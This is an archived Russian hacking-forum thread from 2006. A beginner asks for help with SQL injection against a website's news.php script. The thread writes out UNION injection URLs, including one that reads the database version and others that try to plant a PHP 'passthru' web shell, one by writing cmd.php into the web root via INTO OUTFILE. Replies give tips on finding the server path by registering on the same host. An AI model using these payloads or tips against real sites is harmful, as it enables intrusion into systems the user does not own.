Добро пожаловать! Это — архивная версия форумов на «Хакер.Ru». Она работает в режиме read-only.
 

[Проблема] SQL-иньекция, вопрос по union запросу

Пользователи, просматривающие топик: none

Зашли как: Guest
Все форумы >> [Для начинающих] >> [Проблема] SQL-иньекция, вопрос по union запросу
Имя
Сообщение << Старые топики   Новые топики >>
[Проблема] SQL-иньекция, вопрос по union запросу - 2006-03-19 20:46:08   
1sanchik1

Сообщений: 13
Оценки: 0
Присоединился: 2006-03-19 01:16:40
Прошу прощения если не верно охарактеризовал тему…

Хотелось бы узнать можно ли с помощью union вставить в таблицу данные? имя таблицы известно, так же известно что в ней четыре поля:
——————————————————————-
|-неизвестно как называется———-|-имя :text–|-неизвестно-| дата |
|-предпологаю что в нем значение-|-значения—|————|——|
|-auto incriment——————————|-текстовые–|————|——|
——————————————————————-

попутался выполнить следущий запрос:
http://server.ru/news.php?id=99'+union+insert+into+server.news+(text)+values+('<?passthru(cmd)?>')/*
http://server.ru/news.php?id=99'+union+insert+into+server.news+(text)+values+('<?passthru(cmd)?>') null, null, null, null/*

Версия:
http://server.ru/news.php?id=99'+union+select+null,VERSION(),null, null/*
этот запрос выдал следущую версию - 4.0.24_Debian-10sarge1-log

Так же не подскажете как можно узнать полный путь к директории сайта, при ошибке путь не пишется, знаю что сайт расположен на INFOЬох.ru

———————————
Заранее большое спасибо.

Post #: 1
[Проблема] SQL-иньекция, вопрос по union запросу - 2006-03-19 20:50:33   
Lex_Voodoo

Сообщений: 7328
Оценки: 0
Присоединился: 2004-12-07 13:55:12
UNION объединяет 2 SELECT запроса. INSERT тут нипричём
Post #: 2
[Проблема] SQL-иньекция, вопрос по union запросу - 2006-03-19 20:55:17   
1sanchik1

Сообщений: 13
Оценки: 0
Присоединился: 2006-03-19 01:16:40
спасибо, усе понял…
Post #: 3
[Проблема] SQL-иньекция, вопрос по union запросу - 2006-03-19 20:57:03   
Сhaos_Сode

Сообщений: 1049
Оценки: 0
Присоединился: 2006-01-12 11:54:12
quote:

—————-<BR>Цитата: Дата:19.03.2006 20:50:33, Автор:Lex_Voodoo ::
UNION объединяет 2 SELECT запроса. INSERT тут нипричём
—————-



и тока с 4-ой версии в mysql, в MS SQL все делается без union))

&gt;&gt;&gt;так же не подскажете как можно узнать полный путь к директории сайта, при ошибке путь не пишется, знаю что сайт расположен на INFO&#1068;ох.ru

нуно смотреть в мануале MySQL по exec(), сам пока знаком с этой функцией увы пока тока по наслышке)) Как вариант, зарегить на этом хостинге свой сайт и узнать через пхп путь до него)
соотв различия будут скорей всего тока в конечных директориях)
Post #: 4
[Проблема] SQL-иньекция, вопрос по union запросу - 2006-03-20 23:52:28   
1sanchik1

Сообщений: 13
Оценки: 0
Присоединился: 2006-03-19 01:16:40
опять же наверное глупый вопрос, но все равно задам…

я попробовал сформировать следущий запрос:
news.php?id=12'+union+select+null,'>',null,null+from+news+into+outfile+'/home/www/domen_name/www/img/work/cmd.php'/*

на что мне выдало ошибку:
Access denied for user: 'domen_name@%' (Using password: YES) - Это ошибка chmoda?
Post #: 5
[Проблема] SQL-иньекция, вопрос по union запросу - 2006-03-21 21:23:19   
Lex_Voodoo

Сообщений: 7328
Оценки: 0
Присоединился: 2004-12-07 13:55:12
Это значит, что у пользователя, под которым запущен mysql, нет прав на запись в /home/www/domen_name/www/img/work/cmd.php
Post #: 6
Страниц:  [1]
Все форумы >> [Для начинающих] >> [Проблема] SQL-иньекция, вопрос по union запросу







Связаться:
Вопросы по сайту / xakep@glc.ru

Предупреждение: использование полученных знаний в противозаконных целях преследуется по закону.